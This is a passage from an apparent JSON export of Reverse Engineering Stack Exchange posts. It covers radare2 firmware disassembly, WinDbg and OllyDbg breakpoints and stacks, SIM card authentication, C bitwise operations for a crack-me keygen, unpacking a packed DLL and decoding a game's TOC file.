string=i(\u80d0\uf847\u88bd\u8148\u0f68\u1222\u1105\u8143\n</code></pre>\n\n<p>I cannot read these characters, so I do not know what language they are from. Maybe it is just gibberish.</p>\n\n<p><strong>3. Using a hex editor</strong></p>\n\n<p>A <a href=\"http://home.gna.org/bless/\" rel=\"noreferrer\">hex editor with a GUI</a> can be used to quickly search for patterns in the data. For example, the byte <code>0A</code> looks like it is used as a terminating character for ASCII strings:</p>\n\n<p><a href=\"https://i.stack.imgur.com/QUDZQ.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/QUDZQ.png\" alt=\"0A ASCII string terminating character\"></a></p>\n\n<h3>Disassembly</h3>\n\n<p>So how should the binary be disassembled using r2? Are any there any special arguments or commands for 16-bit ARM Thumb instructions + some 32-bit Thumb2 instructions? </p>\n\n<p>From <a href=\"https://github.com/radare/radare2/issues/3433\" rel=\"noreferrer\">How to disassemble to ARM UAL?</a>:</p>\n\n<blockquote>\n  <p>-b16 is asumed for thumb, not because the instruction size or the register size. Its an exception to make things simpler. Because its\n  just a mode of the cpu.</p>\n  \n  <p>-b16 sets thumb2 mode in capstone disassembler (as well as in gnu). Thumb2 contains 2 byte and 4 byte instruction lengths. Thumb was only\n  2. But thumb and thumb2 are binarynl compatible, so it makes sense to use thumb2 here, unless the cpu doesnt supports it.</p>\n  \n  <p>From what i understand from ual is that this ist just a syntax, and\n  this symtax should be ready in capstone.</p>\n  \n  <p>Capstone knows nothing about code or data. It just disassembles.</p>\n</blockquote>\n\n<p>In order to properly disassemble the file, it is critical that the correct architecture is specified:</p>\n\n<blockquote>\n  <p>-b bits     force asm.bits (16, 32, 64)</p>\n</blockquote>\n\n<p>For this firmware binary, <code>-b 16</code> should be used, <strong>not <code>-b 32</code></strong>: </p>\n\n<p><code>$ r2 -a arm -b 16 ihex://SMOK_X_CUBE_II_firmware_v1.07.hex</code>  </p>\n\n<p>If <code>-b 32</code> is used, the result is quite a bit of byte sequences r2 reads as invalid due to misalignment:\n<a href=\"https://i.stack.imgur.com/nibzc.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/nibzc.png\" alt=\"invalid disassembly\"></a></p>\n\n<p>For reference, here is disassembly beginning at the same offset, <code>0x1e8</code>, with proper 16-bit alignment:</p>\n\n<p><a href=\"https://i.stack.imgur.com/yx854.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/yx854.png\" alt=\"less invalid disassembly\"></a></p>\n\n<p>Obviously this is totally different.</p>\n\n<p>To analyze the disassembled code, one must be familiar with the ARM Thumb instruction set and assembly, and probably ARM more generally (CPU design, registers, etc.). A good starting point appears to be the <a href=\"https://azeria-labs.com/writing-arm-assembly-part-1/\" rel=\"noreferrer\">Azeria Labs series of tutorials</a> . </p>\n\n<h3>Additional Considerations</h3>\n\n<ul>\n<li>The ISP upgrade tool is a MS Windows PE32 executable binary. This can be reverse engineered to determine how the flashing process takes place.</li>\n<li>Physical access to the microcontroller could be useful. The entire contents of flash memory could be dumped and analyzed. This would also enable one to see exactly how everything is laid out in flash memory</li>\n<li>if known good blocks of code can be isolated, it my be possible to decompile it</li>\n</ul>\n\n<h1>Conclusion</h1>\n\n<p>Hopefully the approach used here proves useful for your future firmware RE endeavors. Analyzing firmware poses its own set of challenges because of the close relationship between it and it the hardware it is designed to be embedded in. Since the design and architecture of the device determines the layout and content of firmware, firmware sometimes cannot be reversed without access to the device, or at the very least knowing the instruction set architecture of the device.</p>\n"
    },
    {
        "Id": "15009",
        "CreationDate": "2017-03-25T15:25:49.730",
        "Body": "<p>I found a breakpoint in OllyDbg that works for my purposes. But now I want to use WinDbg for scripting and when I try to set the same breakpoint, I get no breaks. </p>\n\n<p>In OllyDbg, the following breakpoint gets me exactly what I want: </p>\n\n<p><code>Address=75B0C4FA |  Module=KERNELBA | Active=Always | Disassembly=CMP EAX,103</code></p>\n\n<p>But when I try to set a breakpoint in WinDbg , it never comes back with anything:</p>\n\n<p><code>bp 75b0c4fa</code></p>\n\n<p>According to <a href=\"https://msdn.microsoft.com/en-us/library/windows/hardware/ff538903(v=vs.85).aspx\" rel=\"nofollow noreferrer\">the MS Dev Center documentation</a> for the <code>bp</code> command, I should be able to reference addresses specifically, but in my searching, most people are using <code>bp</code> to reference API calls, such as <code>bp ReadFile</code> (which does break as expected). </p>\n\n<p>My questions: is it possible to use the breakpoint (75B0C4FA) using WinDbg?\nAnd if so, what am I missing in terms of adapting the address I have to make it work in Windbg? \nDoes it have to do with <code>bp ReadFile</code> accessing the ReadFile API calls for the main process, while with my breakpoint, it is trying to put breaks into sub module?</p>\n",
        "Title": "Using breakpoints from OllyDbg in Windbg",
        "Tags": "|ollydbg|windbg|",
        "Answer": "<p>Dlls do not load at same address the load address is randomised due to aslr subtract the base address of kernelbase from your address in ollydbg viz75xxxx - say 74xxxxx. = 01xxxxx. Now in windbg find where kernelbase is loaded. Ssy 58xxxxxx. Add the 01xxxxx to this base address. And  set bp viz 58xxxxx + 01xxxxx = 59xxxxx </p>\n\n<p>Bp 59xxxxxx. </p>\n\n<p>Read about rva aslr loadaddress etc to get a hang of this</p>\n"
    },
    {
        "Id": "15011",
        "CreationDate": "2017-03-25T16:38:37.950",
        "Body": "<p>I understand that a SIM card has memory, and that some or maybe all of them also include microprocessors.  </p>\n\n<p>They act as peripherals that are more than just flash memory.</p>\n\n<p>I would like to be able to read the contents and extract my contacts and messages, for backup, so I bought an el-cheapo \"SIM Card Reader\" that plugs into a USB port.  But when I plug it in it is as if it isn't even there.  </p>\n\n<p>So how can I get access to the data?</p>\n\n<p>Secondly, I understand that they can affect the baseband portion of the cellphone, including frequency of operation and whatever codes are necessary to identify itself (IMEI) and to access a particular network (T-Mobile, AT&amp;T, Verizen).  Again, it is clearly more than just flash memory.</p>\n\n<p>So my question is, how exactly do they work, and how can I read the data from my phone's card?</p>\n",
        "Title": "How does a SIM card work?",
        "Tags": "|firmware|memory|",
        "Answer": "<p>Found some good answers in this article:</p>\n\n<p><a href=\"https://www.howtogeek.com/353634/what-is-a-sim-card/\" rel=\"nofollow noreferrer\">What Is A SIM Card (And What Comes Next)?</a> (howtogeek.com)</p>\n\n<p>EXCERPT:</p>\n\n<blockquote>\n  <p><strong>What\u2019s Stored On A SIM Card?</strong> </p>\n  \n  <p>A SIM card stores the 15-digit International Mobile Subscriber Identity (IMSI) \n  identifying the card on carrier\u2019s mobile network. The IMSI is an\n  important part of the lookup process and determines the network to\n  which a mobile device connects.</p>\n  \n  <p>Along with the IMSI, a 128-bit value authentication key (Ki) is sent\n  to verify your SIM with the GSM cellular network. The Ki is assigned\n  by the operator and stored in a database on their network.</p>\n  \n  <p>A SIM card is also capable of storing SMS messages and the names and\n  phone numbers of up to 500 contacts, depending on the memory size of\n  the SIM card you have. If you have to change phones for whatever\n  reason, you\u2019re able to transfer your contacts via the SIM card\n  painlessly.</p>\n  \n  <p>Most SIM cards contain between 64-128 KB of storage.</p>\n  \n  <p><strong>> How Does A SIM Work?</strong> </p>\n  \n  <p>Essentially, a SIM card serves as your phone\u2019s credentials to access\n  the carrier network. Because the SIM holds this information, you\u2019re\n  able to pop it into any phone with the same carrier, or an unlocked\n  phone, to access the network.</p>\n  \n  <p>Here\u2019s how it works:</p>\n  \n  <p>When you boot up your device, it obtains the IMSI from the SIM, and\n  then relays the IMSI to the network in order to request access. </p>\n  \n  <p>The operator network searches the database for your IMSI and the\n  associated Ki. </p>\n  \n  <p>Assuming your IMSI and Ki are verified, the operator\n  then generates a random number, signs it with your Ki using the GSM\n  cryptography algorithm for computing SRES_2, and creates a new unique\n  number. </p>\n  \n  <p>The network then sends that unique number back to the device,\n  which then passes it to the SIM to use in the same algorithm, creating\n  a third number. </p>\n  \n  <p>This number is then relayed back to the network. </p>\n  \n  <p>If both numbers match, the SIM card is deemed legitimate and is granted\n  access to the network. </p>\n  \n  <p><strong>So if you break the screen on your phone, while\n  it\u2019s getting fixed you can take your SIM out and put it in a\n  replacement phone and still access phone calls, texts, and data from\n  your network.</strong></p>\n</blockquote>\n"
    },
    {
        "Id": "15017",
        "CreationDate": "2017-03-26T09:19:44.387",
        "Body": "<p>I'm looking for the start address of where <code>myfile.exe</code> mapped into memory using <code>Windbg</code>.\nFor this I connected to a VMWare for kernel debugging through serial port, after that I run <code>myfile.exe</code> in guest machine and attach to it from guest machine by <code>ollydbg</code> to see any editing that made in kernel debugging takes place in <code>myfile.exe</code> then break the <code>Windbg</code> to edit memory from host machine.</p>\n\n<p>So I use the following command to get all the processes to see where can I find <code>myfile.exe</code> :</p>\n\n<pre><code> kd&gt; !process 0 0\n</code></pre>\n\n<p>And it gives me a long list of processes where I can finally find <code>myfile.exe</code>.</p>\n\n<pre><code>PROCESS ffffe001f9652080\n    SessionId: 1  Cid: 0da4    Peb: 7ffdf000  ParentCid: 0588\n    DirBase: 11d6d000  ObjectTable: ffffc0013e905680  HandleCount: &lt;Data Not Accessible&gt;\n    Image: myfile.exe\n</code></pre>\n\n<p>So for more details about this process I run :</p>\n\n<pre><code> kd&gt; !process ffffe001f9652080 7\n</code></pre>\n\n<p>and it gives me :</p>\n\n<pre><code>    1: kd&gt; !process ffffe001f9652080 7\nPROCESS ffffe001f9652080\n    SessionId: 1  Cid: 0da4    Peb: 7ffdf000  ParentCid: 0588\n    DirBase: 11d6d000  ObjectTable: ffffc0013e905680  HandleCount: &lt;Data Not Accessible&gt;\n    Image: myfile.exe\n    VadRoot ffffe001f64dda10 Vads 129 Clone 0 Private 5676. Modified 520. Locked 0.\n    DeviceMap ffffc0013dff8c30\n    Token                             ffffc0014336a8e0\n    ElapsedTime                       00:08:14.197\n    UserTime                          00:00:00.046\n    KernelTime                        00:00:00.125\n    QuotaPoolUsage[PagedPool]         231392\n    QuotaPoolUsage[NonPagedPool]      17632\n    Working Set Sizes (now,min,max)  (11793, 50, 345) (47172KB, 200KB, 1380KB)\n    PeakWorkingSetSize                13859\n    VirtualSize                       148 Mb\n    PeakVirtualSize                   159 Mb\n    PageFaultCount                    24764\n    MemoryPriority                    BACKGROUND\n    BasePriority                      8\n    CommitCharge                      6195\n    DebugPort                         ffffe001fa6f0f90\n    Job                               ffffe001f8544620\n    THREAD ffffe001fa713440  Cid 0da4.10a4  Teb: 000000007ffdb000 Win32Thread: ffffe001f6822cb0 WAIT: (WrUserRequest) UserMode Non-Alertable\n        ffffe001fa4bbb90  SynchronizationEvent\n    Not impersonating\n    DeviceMap                 ffffc0013dff8c30\n    Owning Process            ffffe001f9652080       Image:         myfile.exe\n    Attached Process          N/A            Image:         N/A\n    Wait Start TickCount      56653          Ticks: 2 (0:00:00:00.031)\n    Context Switch Count      11053          IdealProcessor: 2             \n    UserTime                  00:00:01.125\n    KernelTime                00:00:00.781\n    Win32 Start Address 0x000000000044aa31\n    Stack Init ffffd00025d59c90 Current ffffd00025d59480\n    Base ffffd00025d5a000 Limit ffffd00025d54000 Call 0\n    Priority 10 BasePriority 8 UnusualBoost 0 ForegroundBoost 0 IoPriority 2 PagePriority 5\n\n    Child-SP          RetAddr           : Args to Child                                                           : Call Site\n    ffffd000`25d594c0 fffff802`a1c92130 : ffffe001`f805e0c0 fffff961`00000000 ffffe001`fa713440 fffff802`a1c8ee76 : nt!KiSwapContext+0x76\n    ffffd000`25d59600 fffff802`a1c91b48 : 00000000`00000000 00000000`00010001 00000000`00000000 00000000`00000000 : nt!KiSwapThread+0x160\n    ffffd000`25d596b0 fffff802`a1c9120d : 00000000`00000000 00000000`00000000 ffffd000`25d59900 00000000`00000000 : nt!KiCommitThreadWait+0x148\n    ffffd000`25d59740 fffff961`00c95dc5 : fffff901`00000000 ffffd000`25d598a0 fffff901`423edb20 fffff901`0000000d : nt!KeWaitForMultipleObjects+0x3fd\n    ffffd000`25d59800 fffff961`00c959f8 : fffff901`423edb20 fffff901`423edb20 00000000`00003dff fffff961`00c958a3 : win32kfull!xxxRealSleepThread+0x355\n    ffffd000`25d598f0 fffff961`00c94ba0 : ffffd000`25d59b80 00000000`00000000 fffff901`423edb20 00000000`00000000 : win32kfull!xxxSleepThread2+0x98\n    ffffd000`25d59940 fffff961`00c93fc0 : ffffd000`25d59ab8 ffffd000`25d5c240 00000000`00000000 00000000`ffffffff : win32kfull!xxxRealInternalGetMessage+0xb70\n    ffffd000`25d59a70 fffff802`a1dd2a63 : ffffe001`fa713440 00000000`570a8480 00000000`00000020 00000000`00000000 : win32kfull!NtUserGetMessage+0x90\n    ffffd000`25d59b00 00000000`570b344a : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : nt!KiSystemServiceCopyEnd+0x13 (TrapFrame @ ffffd000`25d59b00)\n    00000000`0009e6b8 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : 0x570b344a\n\n    THREAD ffffe001fab05840  Cid 0da4.11ac  Teb: 000000007fe9e000 Win32Thread: 0000000000000000 WAIT: (WrQueue) UserMode Alertable\n        ffffe001f6741d40  QueueObject\n    Not impersonating\n    DeviceMap                 ffffc0013dff8c30\n    Owning Process            ffffe001f9652080       Image:         myfile.exe\n    Attached Process          N/A            Image:         N/A\n    Wait Start TickCount      51667          Ticks: 4988 (0:00:01:17.937)\n    Context Switch Count      34             IdealProcessor: 2             \n    UserTime                  00:00:00.000\n    KernelTime                00:00:00.015\n    Win32 Start Address 0x0000000077e54630\n    Stack Init ffffd000203cfc90 Current ffffd000203cf420\n    Base ffffd000203d0000 Limit ffffd000203ca000 Call 0\n    Priority 8 BasePriority 8 UnusualBoost 0 ForegroundBoost 0 IoPriority 2 PagePriority 5\n    Child-SP          RetAddr           : Args to Child                                                           : Call Site\n    ffffd000`203cf460 fffff802`a1c92130 : 0000ffff`00000000 00000000`00000001 ffffe001`fab05980 ffffe001`fab05940 : nt!KiSwapContext+0x76\n    ffffd000`203cf5a0 fffff802`a1c91b48 : 00000000`743af562 00000000`00000030 00000000`00000000 ffffe001`f9652578 : nt!KiSwapThread+0x160\n    ffffd000`203cf650 fffff802`a1c907a5 : 00000000`69f79021 00000000`00000010 fffffa80`013de6b0 fffffa80`0127b690 : nt!KiCommitThreadWait+0x148\n    ffffd000`203cf6e0 fffff802`a1c90382 : ffffe001`f6741d40 00000000`00000000 00000000`00000001 00000000`00000000 : nt!KeRemoveQueueEx+0x215\n    ffffd000`203cf750 fffff802`a1c8fd43 : fffff680`003a1d78 ffffe001`f9652578 ffffd000`203cfa00 00000000`00000000 : nt!IoRemoveIoCompletion+0x82\n    ffffd000`203cf870 fffff802`a1dd2a63 : fffff6fb`40001d08 fffff680`003a1d78 ffff504a`eece1c5c 00000000`00000000 : nt!NtWaitForWorkViaWorkerFactory+0x303\n    ffffd000`203cfa90 00007ff9`eeab538a : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : nt!KiSystemServiceCopyEnd+0x13 (TrapFrame @ ffffd000`203cfb00)\n    00000000`049eea78 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!NtWaitForWorkViaWorkerFactory+0xa\n</code></pre>\n\n<p>So I note that there is 2 stacks for 2 threads as I see in Olly previously.\nas you can see :</p>\n\n<pre><code>    Stack Init ffffd00025d59c90 Current ffffd00025d59480\n    Stack Init ffffd000203cfc90 Current ffffd000203cf420\n</code></pre>\n\n<p>So I imagine that I am at the process Virtual Address so I run the debuggee <code>(press g)</code> and edit both start and end of stacks via Olly in guest machine.\nThen break the guest machine again and do a <code>dc</code> to see the memories in that regions like :</p>\n\n<pre><code>    dc ffffd00025d59c90 \n    dc ffffd000203cfc90 \n</code></pre>\n\n<p>but I cannot see any changes (that I made in Stacks by Olly) !</p>\n\n<p>So my questions are:</p>\n\n<ul>\n<li>How can I get the address where <code>myfile.exe</code> mapped in memory (From Windbg in host machine) ?</li>\n<li>What's wrong that I cannot see the changes that I made in olly in Windbg ?(I think Windbg gives me wrong information about <code>Stack Init</code>.)</li>\n</ul>\n\n<p><strong>Note :</strong> myfile.exe is a 32-bit program that runs under a 64-bit Windows 10 gust machine and the host machine is also a 64-bit Windows 10.</p>\n\n<p><strong>Update 1</strong> : I edit the content of stack in olly. Both start of stack and end of stack.</p>\n",
        "Title": "Get address of where process mapped in Windbg",
        "Tags": "|windows|ollydbg|windbg|",
        "Answer": "<p>the stack you see in <strong>!process @$proc 7</strong>  is kernel stack not usermode stack </p>\n\n<p>if you want to see usermode stack use <strong>0x17</strong> flag </p>\n\n<p>whatever you edit in usermode would only be available in address that belongs to usermode stack  that is address less that 0x80000000 normally</p>\n\n<p>here is a calc.exe stack in kernel mode debugger </p>\n\n<pre><code>kd&gt; !process 0 17 calc.exe\nFailed to get VAD root\nPROCESS 811c3500  SessionId: 0  Cid: 0560    Peb: 7ffd7000  ParentCid: 00a8\n    DirBase: 01cc4000  ObjectTable: e1a63450  HandleCount:  28.\n    Image: calc.exe\n    VadRoot 00000000 Vads 0 Clone 0 Private 115. Modified 0. Locked 0.\n    DeviceMap e1a2ed30\n    Token                             e1c22270\n    ElapsedTime                       00:00:06.709\n    UserTime                          00:00:00.030\n    KernelTime                        00:00:00.060\n    QuotaPoolUsage[PagedPool]         0\n    QuotaPoolUsage[NonPagedPool]      0\n    Working Set Sizes (now,min,max)  (644, 50, 345) (2576KB, 200KB, 1380KB)\n    PeakWorkingSetSize                644\n    VirtualSize                       27 Mb\n    PeakVirtualSize                   34 Mb\n    PageFaultCount                    669\n    MemoryPriority                    FOREGROUND\n    BasePriority                      8\n    CommitCharge                      187\n\n        THREAD 810efda8  Cid 0560.0564  Teb: 7ffdf000 Win32Thread: e1a631d0 WAIT: (WrUserRequest) UserMode Non-Alertable\n            ffafbb00  SynchronizationEvent\n        Not impersonating\n        DeviceMap                 e1a2ed30\n        Owning Process            00000000       Image:         \n        Attached Process          811c3500       Image:         calc.exe\n        Wait Start TickCount      6064           Ticks: 23 (0:00:00:00.230)\n        Context Switch Count      164            IdealProcessor: 0                 LargeStack\n        UserTime                  00:00:00.020\n        KernelTime                00:00:00.060\n        Win32 Start Address calc!WinMainCRTStartup (0x01012475)\n        Stack Init f8bc2000 Current f8bc1c20 Base f8bc2000 Limit f8bbd000 Call 00000000\n        Priority 12 BasePriority 8 PriorityDecrement 2 IoPriority 0 PagePriority 0\n\n        ChildEBP RetAddr  Args to Child              \n        f8bc1c38 804dc0f7 810efe18 810efda8 804dc143 nt!KiSwapContext+0x2e (FPO: [Uses EBP] [0,0,4])\n        f8bc1c44 804dc143 000025ff e1a631d0 00000000 nt!KiSwapThread+0x46 (FPO: [0,0,0])\n        f8bc1c6c bf802f52 00000001 0000000d 00000001 nt!KeWaitForSingleObject+0x1c2 (FPO: [Non-Fpo])\n        f8bc1ca8 bf801b2a 000025ff 00000000 00000001 win32k!xxxSleepThread+0x192 (FPO: [Non-Fpo])\n        f8bc1cec bf819e6c f8bc1d18 000025ff 00000000 win32k!xxxRealInternalGetMessage+0x418 (FPO: [Non-Fpo])\n        f8bc1d4c 804de7ec 0007fee8 00000000 00000000 win32k!NtUserGetMessage+0x27 (FPO: [Non-Fpo])\n        f8bc1d4c 7c90e4f4 0007fee8 00000000 00000000 nt!KiFastCallEntry+0xf8 (FPO: [0,0] TrapFrame @ f8bc1d64)\n        0007fddc 7e4191be 7e4191f1 0007fee8 00000000 ntdll!KiFastSystemCallRet (FPO: [0,0,0])\n        0007fdfc 010021b0 0007fee8 00000000 00000000 USER32!NtUserGetMessage+0xc\n        0007ff1c 010125e9 000a8aa8 00000055 000a8aa8 calc!WinMain+0x25f (FPO: [Non-Fpo])\n        0007ffc0 7c817067 80000001 0144da28 7ffd7000 calc!WinMainCRTStartup+0x174 (FPO: [Non-Fpo])\n        0007fff0 00000000 01012475 00000000 78746341 kernel32!BaseProcessStart+0x23 (FPO: [Non-Fpo])\n</code></pre>\n\n<p>ie the usermode stack part in above paste is at </p>\n\n<pre><code>kd&gt; dc 0007fddc\n0007fddc  ???????? ???????? ???????? ????????  ????????????????\n0007fdec  ???????? ???????? ???????? ????????  ????????????????\n0007fdfc  ???????? ???????? ???????? ????????  ????????????????\n0007fe0c  ???????? ???????? ???????? ????????  ????????????????\n0007fe1c  ???????? ???????? ???????? ????????  ????????????????\n0007fe2c  ???????? ???????? ???????? ????????  ????????????????\n0007fe3c  ???????? ???????? ???????? ????????  ????????????????\n0007fe4c  ???????? ???????? ???????? ????????  ????????????????\n\nkd&gt; .process /p /r 811c3500\nImplicit process is now 811c3500\n.cache forcedecodeuser done\nLoading User Symbols\n.....................\n\n\n\nkd&gt; dc 0007fddc\n0007fddc  00000000 7e4191be 7e4191f1 0007fee8  ......A~..A~....\n0007fdec  00000000 00000000 00000000 7e4191c6  ..............A~\n0007fdfc  0007ff1c 010021b0 0007fee8 00000000  .....!..........\n0007fe0c  00000000 00000000 7c80b731 000a232f  ........1..|/#..\n0007fe1c  00000000 00000000 00000000 00000000  ................\n0007fe2c  00000000 00000000 00000000 00000000  ................\n0007fe3c  00000000 00000000 00000000 00000000  ................\n0007fe4c  00000000 00000000 00000000 00000000  ................\n</code></pre>\n\n<p>you can see the edits done in ollydbg reflecting in kd on proper process context in user mode stack (make sure you dont edit message loops they are repeatedly called and overwritten on each call )  </p>\n\n<p><a href=\"https://i.stack.imgur.com/UCzyr.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/UCzyr.png\" alt=\"enter image description here\"></a></p>\n"
    },
    {
        "Id": "15022",
        "CreationDate": "2017-03-26T20:24:52.663",
        "Body": "<p>I'm writing a keygen for a crack-me exercise.</p>\n\n<p>I have a problem with handling byte assignments the crack-me performs several times using instructions like <code>MOV AL,BYTE PTR DS:[ESI]</code> (move byte from location to AL) to change <code>EAX</code> for example from <code>000096BA</code> to <code>00009662</code>.</p>\n\n<p>The crack-me overflows <code>EAX</code> value several times so to calculate the key I use an <code>unsigned int</code> in my C program.</p>\n\n<p>The problem I have is that I do not know how I can replace a single byte value in <code>unsigned int</code> example from <code>0x38586d</code> to <code>0x38498d</code>, changing the second byte only.</p>\n",
        "Title": "c++ version of MOV AL,BYTE PTR DS:[ESI]",
        "Tags": "|c++|c|crackme|",
        "Answer": "<p>First, most decent compilers will let you introduce assembly directly in your C code. This is not recommended but the option should be noted.</p>\n\n<p>Now, here's a sane solution; C was several <a href=\"https://www.tutorialspoint.com/cprogramming/c_bitwise_operators.htm\" rel=\"nofollow noreferrer\">bitwise operators</a> to manipulate sets of bits inside an integer. </p>\n\n<p>The bitwise operators we'll use here are:</p>\n\n<ol>\n<li><p>binary AND operator (<code>&amp;</code>):</p>\n\n<p>A bit in the result variable is only set if it was set in both input variables. For example, <code>0b0011 &amp; 0b1010</code> will result in <code>0b0010</code>.</p></li>\n<li><p>binary OR operator (<code>|</code>)</p>\n\n<p>A bit in the result variable will be set if it was set in at least one of the input variables. For example, <code>0b0011 | 0b1010</code> will result in <code>0b1011</code>.</p></li>\n<li><p>binary NOT operator (<code>~</code>)</p>\n\n<p>A bit in the result variable will only be set if it was <em>not</em> set in the input variable. For example, <code>~0b0001</code> will result in <code>0b1110</code>.</p></li>\n<li><p>arithmetic shift operator (<code>&lt;&lt;</code>)</p>\n\n<p>A bit in the result variable will only be set if the bit  <code>n</code> positions to the right in the first variable was set, where <code>n</code> is the second variable. If that position does not exist, the bit is not set. For example, <code>0b0000 0b0101 &lt;&lt; 2</code> will result in <code>0b0001 0b0100</code>.</p></li>\n</ol>\n\n<p>And here's how we could use them to set the <em>lowest</em> byte in dword <code>a</code> to that of char <code>c</code>, assuming a 32bit processor for simplicity's sake:</p>\n\n<pre><code>unsigned int a = 0xa5a5a505;\nunsigned char c = 0xa0;\n</code></pre>\n\n<p>First, we'll want to zero-out the lowest byte. We'll do that by ANDing the dword with a dword that has all of it's bits set <em>except</em> the 8 lowest bits (aka it's lowest byte).</p>\n\n<pre><code>a = a &amp; 0xffffff00\n</code></pre>\n\n<p>Alternatively, we can use the NOT binary operator to create <code>0xffffff00</code> in a slightly cleaner manner, as follows:</p>\n\n<pre><code>a = a &amp; ~0xff\n</code></pre>\n\n<p>After either of those lines, which perform exactly the same thing (and will look identical in assembly), <code>a</code>'s value would be <code>0xa5a5a500</code>.</p>\n\n<p>Now, we'll need to assign the value of <code>c</code> to that same byte. We'll use the OR bitwise operator in the following manner:</p>\n\n<pre><code>a = a | c;\n</code></pre>\n\n<p>Which will result in <code>a</code> having the value of <code>0xa5a5a5a0</code>.</p>\n\n<p>Now, if we would like to do the same for the 2nd byte in the integer we'll shift the values by 8 bits before executing the same operators, like this:</p>\n\n<pre><code>a = a &amp; ~(0xff &lt;&lt; 8)\n</code></pre>\n\n<p>Is equivalent to:</p>\n\n<pre><code>a = a &amp; ~(0xff00)\n</code></pre>\n\n<p>Which is identical to:</p>\n\n<pre><code>a = a &amp; 0xffff00ff\n</code></pre>\n\n<p>Which will result with:</p>\n\n<pre><code>a = 0xa5a50005\n</code></pre>\n\n<p>And now, we'll add <code>c</code> at the 2nd byte's position:</p>\n\n<pre><code>a = a | (c &lt;&lt; 8)\n</code></pre>\n\n<p>Which in our example is:</p>\n\n<pre><code>a = a | 0xa000\n</code></pre>\n\n<p>Which will result in <code>0xa5a5a005</code></p>\n"
    },
    {
        "Id": "15024",
        "CreationDate": "2017-03-26T22:24:23.150",
        "Body": "<p>How can I break right when the program I am debugging quits? I don't know how to even locate the relevant code.</p>\n",
        "Title": "ollydbg: how to set a breakpoint at program exit?",
        "Tags": "|ollydbg|debugging|",
        "Answer": "<p>Set a break on TerminateProcess and friends when it breaks see the call stack and backtrack from there </p>\n"
    },
    {
        "Id": "15031",
        "CreationDate": "2017-03-27T20:30:22.847",
        "Body": "<p>I have a packed DLL. It has an entry point. If I call LoadLibrary it gets unpacked with the entry point code. Then I can attach a debugger to the .exe that called LoadLibrary and see the unpacked dll dissasembly in my debugger.</p>\n\n<p>I know IDA has a \"universal unpacker\" plugin, as well as a \"reconstruct\" option. But I have the .dll open in IDA. A .dll can't be executed, so I can't seemingly use these tools.</p>\n\n<p>I have a memdump of the unpacked .dll, but I had trouble importing it manually in IDA. That doesn't seem like a promising route.</p>\n\n<p>Maybe I can create a custom console application that will load the .dll using LoadLibrary and then somehow call IDA PRO on that running instance?</p>\n\n<p>The .dll is so packed there are no exports table at all. I presume there are memory addresses that are given to the .dll user - and that's how the calling works. I've working on figuring out those addresses.</p>\n\n<p>Any help appreciated!</p>\n",
        "Title": "How to run and reconstruct a packed DLL in IDA Pro?",
        "Tags": "|dll|unpacking|deobfuscation|packers|",
        "Answer": "<blockquote>\n  <p>I have a memdump of the unpacked .dll, but I had trouble importing it manually in IDA. That doesn't seem like a promising route.</p>\n</blockquote>\n\n<p>This is exactly the way to go. Given the right offset, this should work like charm. If you have any problems here, consider asking another question about it.</p>\n\n<blockquote>\n  <p>Maybe I can create a custom console application that will load the .dll using LoadLibrary and then somehow call IDA PRO on that running instance?</p>\n</blockquote>\n\n<p>Yes. You should be able to use a program which only consists of a LoadLibrary call. LoadLibrary should map the library to your process space and execute its WinMain Function (which I presume is in charge of unpacking). If the unpacking functionality is not included in the .dll itself, you should really reconsider using a memory dump.</p>\n"
    },
    {
        "Id": "15035",
        "CreationDate": "2017-03-28T08:23:39.703",
        "Body": "<p>I have a file with the extension of \"TOC\" I assumed it meant Table of Contents, and the contents of said file represent that it indeed is one.</p>\n\n<p>It's full of content such as this: </p>\n\n<pre><code>117dbdd0 15 cardcropHD400.jpg.zib\n345cbe0 15 cardcropHD401.jpg.zib\n144800a 50 D3D11\\characters\\m10658_number_104_masquerade\\m10658_number_104_masquerade.phyre\n121dffc 50 D3D11\\characters\\m3800_blue_eyes_white_dragon\\m3800_blue_eyes_white_dragon.phyre\n121602c 3e D3D11\\characters\\m3806_dark_magician\\m3806_dark_magician.phyre\n12d2eb7 4e D3D11\\characters\\m3815_red_eyes_black_dragon\\m3815_red_eyes_black_dragon.phyre\n1223774 48 D3D11\\characters\\m4766_dark_magician_girl\\m4766_dark_magician_girl.phyre\n114145a 4a D3D11\\characters\\m6653_elemental_hero_neos\\m6653_elemental_hero_neos.phyre\n1117979 62 D3D11\\characters\\m7344_arcana_force_ex_the_light_ruler\\m7344_arcana_force_ex_the_light_ruler.phyre\n1d2edd5 42 D3D11\\characters\\m7734_stardust_dragon\\m7734_stardust_dragon.phyre\n128872f 4c D3D11\\characters\\m7735_red_dragon_archfiend\\m7735_red_dragon_archfiend.phyre\n116a658 44 D3D11\\characters\\m9575_number_39_utopia\\m9575_number_39_utopia.phyre\n1488223 58 D3D11\\characters\\m9656_number_17_leviathan_dragon\\m9656_number_17_leviathan_dragon.phyre\n17c81f4 60 D3D11\\characters\\m9708_sephylon_the_ultimate_timelord\\m9708_sephylon_the_ultimate_timelord.phyre\n</code></pre>\n\n<p>Now, I figured the first line is a hex encoded size which checks out for the corresponding DAT size (Minus 6ish MB), the last column is obviously the file name. But, I don't know where to start on what the middle value is, it's a HEX encoding of something, but if you convert it and add them together it exceeds the left over buffer room.</p>\n\n<p>Anyone have any advice or how I could start looking into the EXE to see how it's handling the file? (I've tried running it through x64dbg but the munmbo jumbo of ASM means nothing to me)</p>\n",
        "Title": "Finding What Data Means From File?",
        "Tags": "|binary-analysis|file-format|function-hooking|",
        "Answer": "<p>the second column appears to be the length of the string in the third column </p>\n\n<p>from whatever was pasted as sample  </p>\n\n<p>the file so.txt contains the posted sample data </p>\n\n<pre><code>:\\&gt;awk \"{ printf( \\\"%x \\\" , length($3)) ;print  $2}\" so.txt\n15 15\n15 15\n50 50\n50 50\n3e 3e\n4e 4e\n48 48\n4a 4a\n62 62\n42 42\n4c 4c\n44 44\n58 58\n60 60\n\n:\\&gt;\n</code></pre>\n"
    },
    {
        "Id": "15042",
        "CreationDate": "2017-03-28T19:46:44.153",
